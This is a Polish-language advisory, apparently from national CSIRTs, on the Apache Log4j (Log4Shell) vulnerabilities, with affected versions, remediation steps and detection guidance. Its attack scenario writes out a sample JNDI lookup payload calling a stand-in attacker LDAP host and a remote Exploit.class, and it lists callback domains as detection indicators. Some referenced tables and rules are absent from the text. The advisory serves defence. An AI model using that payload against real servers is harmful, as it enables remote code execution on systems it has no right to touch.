W bibliotece Apache Log4j, w wersjach od 2.0-alpha1 do 2.16.0 włącznie, z wyłączeniem wersji 2.12.3-2.12.*, znaleziono krytyczne podatności pozwalające na zdalne wykonanie kodu oraz atak odmowy dostępu. Dodatkowo w wersji 2.17.0 znaleziono podatność pozwalającą na zdalne wykonanie kodu, w momencie gdy atakujący może wpływać na konfiguracją logowania (rzadki przypadek). Biblioteka ta jest jedną z najczęściej używanych bibliotek do logowania zdarzeń, wykorzystywanych przez aplikacje napisane w języku Java. Należy zaznaczyć, iż z biblioteki korzysta bardzo wiele komercyjnych aplikacji i prawdopodobieństwo wystąpienia zagrożenia związanego z tą podatnością w organizacji jest wysokie.

Zagrożenie

Podatności pozwalają m.in. na zdalne wykonanie kodu z uprawnieniami danej aplikacji, np. webservera wykorzystującego Log4j. Wykorzystanie podatności jest bardzo proste i gotowe przykłady pozwalające to zrobić są dostępne publicznie. Obserwowany jest również narastający ruch powiązany ze skanowaniem usług dostępnych z internetu i prób wykorzystania podatności.

Przykładowy scenariusz ataku może wyglądać następująco:

1. Aplikacja loguje zdarzenia z wykorzystaniem biblioteki Apache Log4j, np. niepoprawne logowania użytkownika, zapisując wartości kontrolowane przez użytkownika, jak login czy email,
2. Atakujący próbuje się zalogować, jako nazwę użytkownika podając złośliwy payload, np.: ${jndi:ldap://sample_domain.com/a} (gdzie sample_domain.com jest serwerem, kontrolowanym przez atakującego),
3. Luka w log4j jest wywoływana przez payload, a serwer wysyła żądanie do attacker_domain.com poprzez "Java Naming and Directory Interface" (JNDI),
4. Odpowiedź zawiera ścieżkę do zdalnego pliku klasy Java (np. http://test.sample_domain.com/Exploit.class), który jest wstrzykiwany do procesu serwera,
5. Wstrzyknięty payload pozwala atakującemu na wykonanie dowolnego kodu.

W celu lepszego zrozumienia działania podatności i zagrożeń z nią związanych można zapoznać się z filmem stworzonym przez Kacpra Szurka.

Weryfikacja podatności

Podatności dotyczą biblioteki Apache Log4j w wersjach od 2.0-alpha1 do 2.17.0 włącznie, z wyłączeniem wersji 2.12.4. Początkowo mowa była tylko o podatności CVE-2021-44228, nazwanej Log4Shell. Kolejne podatności obchodziły wprowadzane poprawki. W bibliotece w wersji 2.17.0 znaleziono podatność pozwalającą na zdalne wykonanie kodu w przypadku możliwości edycji konfiguracji logowania. Jednak jest to bardzo rzadkie i ta podatność powinna mieć najniższy priorytet z wymienionych. Stan na chwilę obecną przedstawiono w poniższej tabeli:

Wersja 1.x nie jest dotknięta tymi podatnościami, ale jest to wersja niewspierana od wielu lat, z innymi poważnymi podatnościami. W tym przypadku należy również uznać, iż wykorzystanie tej wersji biblioteki może stanowić zagrożenie i zaplanować jej migrację do wersji 2.17.1.

Z biblioteki korzystają m.in. takie rozwiązania jak Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Elasticsearch, Kafka, czy Graylog. Wykorzystują ją również i są podatne liczne produkty takich firm jak VMware, CISCO, czy Atlassian. Jednak lista podanych aplikacji jest znacznie dłuższa i często może dotyczyć niszowego, specyficznego dla danej branży oprogramowania.

Poniżej przedstawiamy procedury weryfikacji podatności wypracowane przez 3 CSIRTy. Każda organizacja powinno zastosować opisaną procedurę celem weryfikacji występowania podatności.

Identyfikacja podatności i działania naprawcze

➤ jeżeli jesteś administratorem lub osobą odpowiedzialną za cyberbezpieczeństwo w organizacji

1. Przejrzyj tworzone przez społeczność listy systemu korzystającego z Log4j. Dla każdej aplikacji podawana jest informacja, czy i w jakich wersjach jest ona podatna. Należy porównać listy ze znanym oprogramowaniem używanym w organizacji.
   Uwaga: Brak produktu na liście nie oznacza, iż nie jest on podatny. Należy pamiętać, iż nie są to kompletne listy, w szczególności nie uwzględniają one niszowego oprogramowania, specyficznego dla danych branż.

   • Lista utrzymywana przez CISA
   • Lista utrzymywana przez NCSC
   • Lista utrzymywana przez SwitHak

   W przypadku wykorzystywania aplikacji wymienionej na liście jako podatnej, należy niezwłocznie podjąć działania rekomendowane przez dostawców systemu - najczęściej aktualizację do nowszej wersji.

2. Poszukaj w organizacji innych aplikacji wykorzystujących Log4j, które nie są wymienione na listach. Zacznij przegląd od systemów dostępnych z internetu oraz krytycznych dla działania organizacji.

   W tym celu wykorzystaj skrypty stworzone przez CERT/CC. Skrypt w wybranej postaci (powershell, bash, lub python) należy uruchomić na każdym z systemów w organizacji. Należy pamiętać, że:

   • skrypt sprawdza pliki .jar, .war i .ear pod kątem występowania klasy JndiLookup aby zidentyfikować bibliotekę Log4j. Sama obecność biblioteki nie oznacza, iż jest ona wykorzystywana, ale taki fakt wymaga pogłębionej analizy, lub kontaktu z producentem oprogramowania.
   • skrypt sprawdzi tylko pliki, do których ma dostęp, należy uruchomić go na takich uprawnieniach, aby mógł sprawdzić pliki badanej aplikacji. W przypadku braku dostępu zostanie pokazane ostrzeżenie, ale sprawdzanie dalej będzie się wykonywało.

   W przypadku jakiegokolwiek przypadku znalezienia użycia klasy JndiLookup należy niezwłocznie skontaktować się z dostawcą systemu celem weryfikacji obecności podatności. Wersje wyższe od 2.17.0 nie posiadają już tej klasy i nie zostaną zwrócone przez skrypt.

3. W szukaniu podatnych aplikacji mogą pomóc już wdrożone w organizacji komercyjne, jak i darmowe narzędzia, przykładowo: bazy zarządzania konfiguracją (CMDB), skanery podatności, czy systemy agregujące logi z systemów. W celu możliwości ich wykorzystania należy konsultować się ze wsparciem konkretnego oprogramowania.

4. Jeśli nie masz dostępu do systemu, na którym może być uruchomiona podatna aplikacja, można przeprowadzić skanowanie "z zewnątrz", poprzez próbę wykorzystania luki. Takie działania należy przeprowadzać wyłącznie, jeżeli jest się do tego uprawnionym. Należy pamiętać, iż tego typu sprawdzenia nie pokryją wszystkich przypadków, gdzie dane wejściowe mogą być przetwarzane. Przykładowo w tym celu można użyć narzędzi zweryfikowanych przez CISA, czy odpowiedniego skryptu do Nmapa. Inne narzędzia można znaleźć w repozytorium NCSC, trzeba jednak pamiętać, iż pliki nieznanego pochodzenia należy uruchamiać wyłącznie w kontrolowanym środowisku. Takie działanie powinno być przeprowadzone wyłącznie z wykorzystaniem serwerów DNS pod kontrolą organizacji – odpowiednia instrukcja skonfigurowania takiego serwera znajduje się we wspomnianym repozytorium CISA.

5. Jeśli produkt w którym zidentyfikowano podatność utracił wsparcie, lub producent nie jest w stanie wydać poprawki, można rozważyć usunięcie klasy JndiLookup poleceniem: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class, gdzie log4j-core-*.jar jest plikiem podatnej biblioteki. Takie działanie, aby przyniosło efekt, wymaga restartu serwisu/komponentu i powinno zostać najpierw przeprowadzone w środowisku testowym. W przypadku gdy aplikacja jest dystrybuowana w jednym wspólnym pliku .jar, należy ją rozpakować, dokonać usunięcia klasy bezpośrednio na pliku log4j-core-*.jar i spakować ponownie.

6. Jeśli nie jest możliwa aktualizacja ani tymczasowe działania naprawcze, a dana aplikacja musi pozostać dostępna, należy przenieść system do wydzielonego VLANu z ruchem sieciowym ograniczonym do minimum niezbędnego dla działania aplikacji. W szczególności należy ograniczyć ruch wyjściowy do internetu, a wejściowy preferencyjnie filtrować rozwiązaniem klasy WAF/IPS/WebProxy z aktualnymi regułami. Taki system należy objąć szczególnym monitoringiem zarówno na poziomie sieciowym, jak i samego systemu. Podatną aplikację należy zaktualizować w najbliższym możliwym terminie.

➤ jeżeli jesteś developerem lub dostawcą oprogramowania

1. Sprawdź, czy korzystasz w aplikacji bezpośrednio z biblioteki Log4j w podatnej wersji (niższa niż 2.17.1, z wyłączeniem 2.12.4), lub z któregokolwiek z pakietów, które z niej korzystają. Możesz np. sprawdzić zależności w pliku pom.xml, jeżeli do budowania wykorzystywany jest Apache Maven, czy build.gradle dla Gradle. Aplikacje na platformę Android korzystające z biblioteki Apache Log4j nie są podatne.

   Jeśli tak, to dokonaj aktualizacji biblioteki do wersji 2.17.1 dla Javy w wersji 8 i wyższych, oraz 2.12.4 dla Javy w wersji 7, a w przypadku innych pakietów sprawdź, w jakiej jego wersji zostało to uwzględnione. W przypadku wkorzystywania Javy w wersji 7, zaleca się jej migrację na nowszą, ponieważ wsparcie dla niej zostanie zakończone w lipcu 2022.

   Pamiętaj, iż zależności mogą sięgać głęboko i np. pakiet, z którego korzystasz, może korzystać z innego pakietu, który to dopiero korzysta z biblioteki w podatnej wersji. W celu upewnienia się, czy dany pakiet nie jest podatny można skorzystać z projektu Open Source Insights.

   
   Źródło: https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html

2. Jeśli pakiet, z którego korzystasz używa Log4j w podatnej wersji rozważ jego zastąpienie innym lub usunięcie klasy JndiLookup poleceniem zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Polecenie to powinno zostać uruchomione bezpośrednio na pliku log4j-core-*.jar, więc w przypadku pakietów zewnętrznych może wymagać ich rozpakowania.

3. Rozważ skonfigurowanie zależności w taki sposób, żeby nie było możliwe użycie podatnej wersji biblioteki. Przykłady dla:
   • Apache Maven
   • Gradle
4. Poinformuj swoich klientów o konieczności pilnej aktualizacji w związku z wykryciem podatności oraz udziel im odpowiedniego wsparcia.

Detekcja i monitorowanie wykorzystania podatności

Żródło: https://github.com/NCSC-NL/log4shell/blob/main/detection_mitigation/Detection_Guidance.png

Wykrycie prób skanowania

W celu wykrycia prób wykorzystania podatności można skorzystać z wyrażenia regularnego log4shell-rex na zbieranych logach. Można z niego korzystać zarówno lokalnie, np. z użyciem narzędzia grep, jak i centralnie na serwerze logów czy SIEMie. Źródłami logów mogą być nie tylko logi aplikacyjne, ale też np. web proxy, firewall, load balancer, czy rozwiązania klasy IDS/IPS, analizujące ruch przychodzący. Obecnie stosowane jest wiele metod obfuskacji wykorzystywanego payloadu, przykładowo:

Wszystkie one są w tej chwili wykrywane przez wspomniane wyrażenie regularne, jednak istnieje możliwość, iż w przyszłości pojawi się nowy wariant, który nie będzie wykrywany. W przypadku posiadania podatnej aplikacji opieranie się na tego typu detekcji nie powinno być jedyną metodą zabezpieczenia.

Uwaga: w tej chwili podatność jest masowo testowana i wykorzystywana zarówno przez badaczy bezpieczeństwa jak i potencjalnych atakujących. W związku z tym monitorowanie prób jej wykorzystania z zewnątrz organizacji (w usługach dostępnych z internetu) ma w tym momencie ograniczoną wartość. Warto jednak monitorować jej wykorzystanie wewnątrz organizacji – są już pierwsze doniesienia o grupach korzystających z niej do poszerzania uprawnień i uzyskiwania dostępu do innych systemów (lateral movement).

Wykrycie wykorzystania podatności

Wykrycie wykorzystania podatności może odbywać się zarówno na poziomie ruchu sieciowego, jak i z samej maszyny. Należy monitorować wychodzący do internetu ruch sieciowy pod kątem zapytań i komunikacji z hostami, z którymi nigdy wcześniej nie było zaobserwowanej komunikacji oraz z wykorzystaniem protokołów LDAP(S)/RMI – bardzo rzadkie jest ich prawidłowe wykorzystanie w ruchu do internetu. W ataku może być wykorzystany zarówno adres IP, jak i nazwa domenowa, oraz dowolny port, stąd rozpoznanie wykorzystywanego protokołu nie powinno opierać się na porcie. Celem oceny reputacji adresów ip/domen można pomocniczo skorzystać z list agregujących IOC. Należy jednak pamiętać, iż atak może odbyć się z wykorzystaniem innego, dowolnego adresu, nie znajdującego się na liście. W przypadku gdy dla hostów zablokowany jest ruch wychodzący (rekomendowane), warto monitorować wszelkie próby jego nawiązania, co może oznaczać podatną aplikację.

W celu detekcji wykorzystania podatności można również korelować domeny z prób ataków wykrytych dzięki wyrażeń regularnych (opisane wcześniej) z obserwowanymi zapytaniami DNS. Wystąpienie zapytania o domenę zaraz po pojawieniu się jej w payloadzie może z dużym prawdopodobieństwem świadczyć o podatnej aplikacji. Tego typu korelacja będzie możliwa w większości rozwiązań klasy SIEM, w przypadku posiadania odpowiednich logów. Pomocne może być również sprawdzenie logów DNS pod kątem zapytań o subdomeny w domenach: dnslog.cn, interactsh.com, interact.sh, leakix.net, requestbin.net, canarytokens.com, scanworld.net. Są to publiczne narzędzia bardzo często wykorzystywane przez badaczy bezpieczeństwa i automatyczne skanery podatności. Wychodzące zapytanie do jednej z tych domen po 1 grudnia 2021, może świadczyć o obecności podatności.

Kolejnym etapem, na którym można wykryć wykorzystanie podatności, jest odpowiedź na zapytanie o złośliwą klasę Java (ruch przychodzący). Większość komercyjnych rozwiązań klasy IDS/IPS będzie już posiadało odpowiednie reguły detekcji podejrzanego ruchu z tym związanego – należy regularnie je aktualizować. W przypadku darmowych rozwiązań Snort/Suricata, można skorzystać z następujących reguł:

Więcej reguł dostępnych jest w darmowym pakiecie Emerging Threats Rules.

W przypadku udanego ataku w logach nie pojawi się payload wysłany przez atakującego, ponieważ zostanie on zinterpretowany i wykonany przez aplikację. Mogą pojawić się natomiast następujące ciągi; wystąpienie któregokolwiek z nich, w szczególności w okresie od 1 grudnia 2021, z bardzo dużym prawdopodobieństwem może oznaczać udany atak i wymaga dokładniejszej analizy:

Natomiast wystąpienie następujących ciągów w logach może oznaczać udany atak, ale może również wynikać z innych czynników:

W przypadku posiadania logów dot. uruchamianych procesów na maszynie, można szukać śladów exploitacji poprzez znalezienie podejrzanych procesów, które jako proces rodzica mają proces Javy. Dobrym przykładem identyfikacji tego typu procesów jest opis na blogu Elasticsearch.

Gotowe uniwersalne reguły Sigma pod kątem różnego rodzaju detekcji można znaleźć w serwisie SOC Prime – wymaga bezpłatnej rejestracji. Reguły te mogą być automatycznie przetworzone na zapytania do większości rozwiązań klasy SIEM.

Zidentyfikowane incydenty można zgłaszać do adekwatnego zespołu CSIRT, tj.:

• CSIRT NASK
• CSIRT GOV
• CSIRT MON